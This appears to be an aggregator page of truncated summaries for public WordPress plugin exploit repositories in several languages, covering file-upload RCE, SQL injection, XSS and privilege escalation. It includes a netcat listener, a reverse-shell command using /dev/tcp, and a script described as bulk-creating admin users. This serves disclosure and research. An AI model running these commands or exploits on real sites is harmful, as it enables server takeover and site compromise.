CVE-2025-11986

1 制限付きページから公開cryptoajax nonceを抽出する root@kitploit: UA='Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:127.0 Gecko/20100101 Firefox/127.0' NONCE=$curl -s "http://localhost/wordpress/" -A "$UA" | \ perl -0777 -ne 'print "$1\n" if /cryptoconnectChainAjax\s=\s^"nonce"\s:\s"^"+"/s' Fallback extraction...

CVE-2015-6668

CVE-2015-6668 Título: Divulgación de nombres de archivo CV en el plugin Job-Manager de WP...

CVE-2025-12137

1 Funcion auxiliar para llamar a la API REST del plugin con el nonce actual root@kitploit: async function iwpFetchpath, method='GET', body const nonce = window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.'X-WP-Nonce'; const res = await...

CVE-2025-22783

CVE-2025-22783 1️⃣ 组件类型 WordPress 插件 2️⃣ 组件详情 组件名称 SEO Plugin by Squirrly SEO 受影响版本 = 12.4.01 组件 Slug squirrly-seo 组件链接 https://wordpress.org/plugins/squirrly-seo/ 3️⃣ OWASP 2017: TOP 10 漏洞类别 A3: 注入 漏洞类型 SQL 注入 4️⃣ 前提条件 Contributor + 权限 5️⃣ 漏洞详情 👉 简要描述 SEO Plugin by Squirrly SEO 允许你通过内链功能改善网站的...

CVE-2024-11252-Sassy-Social-Share-XSS

CVE-2023-XXXX: Sassy Social Share 插件 XSS 漏洞 描述 本项目演示了 WordPress 的 Sassy Social Share 插件中存在的反射型跨站脚本（XSS）漏洞。该漏洞可通过 heateormastodonshare 参数进行利用。 使用方法 1. PoC.html ：此文件用于演示 XSS 漏洞。您可以在浏览器中打开它，观察漏洞是如何运作的。 2. exploit.py ：此 Python 脚本通过向目标 URL 发送请求来检查漏洞是否可被利用。您可以按照以下步骤运行它： 确保已安装 Python 及所需的库。 在终端中使用 pytho...

exploit_cve-2023-26326_using_cve-2024-2961

利用 Iconv（CVE-2024-2961）攻击 BuddyForms（CVE-2023-26326） 这项工作由我、Omar Elshopky 和 Nour El Dien Bassiouny 完成。 该仓库包含针对 WordPress BuddyForms 插件（CVE-2023-26326）的漏洞利用代码，最初由 Joshua Martinelle 在 安全公告 中报告。该漏洞利用利用了 Iconv，设置字符集实现 RCE：利用 glibc 攻击 PHP 引擎 博客中提出的技术，并由 @ambionics 在 cnext-exploits 仓库中实现。...

CVE-2024-10793

CVE-2024-10793 PoC 将以下行添加到你的 hosts 文件中： root@kitploit: 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com 使用 Docker 启动 Wordpress： root@kitploit: $ sudo systemctl start docker $ sudo docker-compose up -d 打开 http://goodcms.lab:2121 并执行 wordpress 的安装步骤。 在 wordpress 中安装 wp-security-audit-log.5.2.1 或更旧版本。...

CVE-2024-50498

CVE-2024-50498 描述 LUBUS WP Query Console 中存在生成代码控制不当（'Code Injection'）漏洞，允许代码注入。此问题影响 WP Query Console：从 n/a 到 1.0。 设置 Netcat 监听器： 在你的机器上打开一个终端并启动 Netcat 监听器，等待反向 shell 连接。 root@kitploit: nc -lvnp 用法 root@kitploit: usage: CVE-2024-50498.py -h -u URL -ip LISTENERIP -P PORT wordpress | Improper...

CVE-2025-3515

CVE-2025-3515 - WordPress文件上传远程代码执行 使用 root@kitploit: python3 exploit.py 概述 CVE-2025-3515 是 WordPress 插件 "Drag and Drop Multiple File Upload for Contact Form 7" 中的一个文件上传漏洞，允许未认证的攻击者上传恶意文件并实现远程代码执行。 插件 ：drag-and-drop-multiple-file-upload-contact-form-7 受影响版本 ：≤ 1.3.8.9 发现者 ：mikemyers Wordfence 技术细...

CVE-2018-20555

CVE-2018-20555 由 Design Chemical 公司开发的 WordPress 插件 Social Network Tabs 两次泄露了其用户的 Twitter accesstoken、accesstokensecret、consumerkey 和 consumersecret，导致其 Twitter 账户被接管。 问题出在显示 Twitter 微件的页面中的以下代码行： root@kitploit: jQuerydocument.readyfunction $ var config = widgets: "twitter,facebook,youtube",...

CVE-2026-3516

CVE-2026-3516：Contact List 插件中的已认证存储型跨站脚本（XSS） 免责声明： 本仓库仅用于教育目的和道德披露 。该漏洞已负责任地报告给厂商并已修复。请勿在没有适当授权的情况下利用此信息攻击系统。 概述 在 WordPress 的 Contact List - Online Staff Directory & Address Book 插件（版本 = 3.0.17）中发现了一个存储型跨站脚本（XSS）漏洞。该漏洞允许具有 作者（Author）或更高权限的已认证用户，通过一个隐藏的自定义字段向联系人卡片中注入恶意 JavaScript。...

CVE-2023-3460

CVE-2023-3460 针对 CVE-2023-3460 的漏洞利用 - Ultimate Member 插件的未授权管理员访问。 PoC 现已发布。 它仅用于教育/研究目的！使用风险自负！...

CVE-2026-1657

CVE-2026-1657：EventPrime 插件中的未认证任意文件上传漏洞 免责声明： 此仓库仅用于教育目的和负责任的披露 。该漏洞已负责任地向厂商报告并已修复。请勿利用此信息在未经授权的情况下攻击系统。 摘要 在 EventPrime WordPress 插件（版本 = 4.2.8.1）中发现了一个 未认证的任意文件上传 漏洞。该缺陷允许任何未认证访客将文件直接上传到 WordPress 的 uploads 目录，并在媒体库中创建附件记录。 该漏洞源于一个特定的 AJAX 端点被显式注册为...

CVE-2024-28000

LiteSpeed Cache 权限提升 PoC - CVE-2024-28000 🎤 自述文件翻译 English فارسی 📸 截图 💎 介绍 该仓库包含针对 LiteSpeed Cache WordPress 插件中发现的一个关键权限提升漏洞的概念验证（PoC）。该漏洞编号为 CVE-2024-28000，允许未经授权的用户通过利用弱安全哈希获得 WordPress 站点的管理员级别访问权限。 💀 漏洞概述 LiteSpeed Cache 插件的用户模拟功能由一个弱且可预测的安全哈希保护。此 PoC 演示了攻击者如何暴力破解该安全哈希，从而在目标 WordPress...

CVE-2025-47445-PoC

CVE-2025-47445 PoC この実証コードは、脆弱性のあるWordPressプラグインを見つけ、その脆弱性をローカルの管理された環境でテストすることを目的とした学校の課題に基づいています。...

CVE-2025-32206

CVE-2025-32206 - WordPress Processing Projects “LABCAT Processing Projects 中存在危险类型文件无限制上传漏洞，攻击者可将 Web Shell 上传至服务器，从而导致完全失陷。” 🧑‍💻 利用说明 此 Python 利用脚本针对使用存在漏洞的 Processing Projects 插件（版本 = 1.0.2）的 WordPress 站点。该插件未能正确处理来自已认证用户的文件上传，允许其上传包含可执行 PHP 代码（Web Shell）的任意 ZIP 文件。 利用脚本： 1. 以管理员身份登录目标 WordPress...

Mass-CVE-2023-28121

CVE-2023-28121 WooCommerce Payments 5.6.2 - 未经授权的权限提升 批量添加管理员用户 介绍 此脚本使用 Python3 并采用线程以提高处理速度。脚本已更新至两个版本。V1 是旧版本，V2 是新版本，使用随机的用户名、邮箱和密码字符串。获得结果后，别忘了在 WordPress 用户仪表盘中更改你的邮箱。如果你的机器性能较差（低配设备），请勿使用过多线程 xD。 安装依赖项，执行 pip install -r requirements.txt 参考...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - 任意ファイルアップロードエクスプロイト CVE-2024-56264 概要 このリポジトリには、WordPress ACF City Selector プラグイン（バージョン = 1.14.0）で見つかった 任意ファイルアップロード 脆弱性である CVE-2024-56264 のエクスプロイトが含まれています。この脆弱性により、攻撃者は脆弱なWordPressインスタンスに 悪意のあるPHPファイル（ウェブシェル） をアップロードし、サーバー上で任意のコマンドを実行できます。 CVE 詳細...

CVE-2019-1698

TRAN CONG DANH - SVTT - 导师: LUU VAN LAN - CVE-2019-1698 - 开始日期: 30/07/2024 对比存在漏洞的版本与修复漏洞版本的代码差异： 代码参考 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php 代码参考 2:...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embarg...